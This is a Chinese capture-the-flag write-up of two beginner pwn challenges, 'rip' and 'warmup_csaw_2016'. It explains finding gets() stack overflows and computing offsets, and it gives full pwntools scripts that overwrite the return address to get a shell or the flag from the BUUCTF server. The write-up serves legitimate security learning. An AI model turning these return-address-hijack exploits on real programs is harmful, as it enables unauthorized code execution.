rip
首先checksec起手发现没有打开任何防护,是64位amd文件,使用IDA反汇编瞅一瞅
首先shift+f12查看字串发现/bin/sh和system跟进查看/bin/sh的返回地址0X401186
查看main函数的反编译代码发现gets(s, argv)栈溢出漏洞,没有限制s的输入大小
点开s查看s的内存大小发现距离返回地址为0XF+0X8
构造payload:'a' * 0x23 + p64(0x401186)
发现连接超时
这道题的s应该是一个局部变量,23个刚刚覆盖了rbp,然后那两个地址紧接着往下排,0x401198是 “retn” 保证程序能正常返回,然后0x401186在Main函数栈顶。又因为retn相当于pop + 执行,故形成了返回地址劫持~~
解决办法:payload=‘a’ * 23+ p64(0x401198) + p64(0x401186) #0x401198为返回地址
exp:
from pwn import *
p = remote("node4.buuoj.cn",28191)
payload = 'a' * 23 + p64(0x401198) + p64(0x401186)
p.sendline(payload)
p.interactive()
得到shell权限最后查看flag得到flag
warmup_csaw_2016
同样使用checksec起手发现没有打开任何防护,是64位amd文件,使用IDA反汇编瞅一瞅
shift+f12查看字串发现查看flag的函数
跟进找到cat flag的函数返回地址0x40060D
打开main函数发现又是简单的栈溢出问题,找到溢出漏洞gets,没有对v5的输入做出限制
点击查看v5的内存,发现填充40字节的数据加上因为是64位文件加上8字节返回地址
构建payload:'a' * 0x48 + p64(0x40060D),构建exp
from pwn import *
p = remote("node4.buuoj.cn",27321)
payload = 'a' * 0x48 + p64(0x40060D)
p.sendline(payload)
p.interactive()
得到flag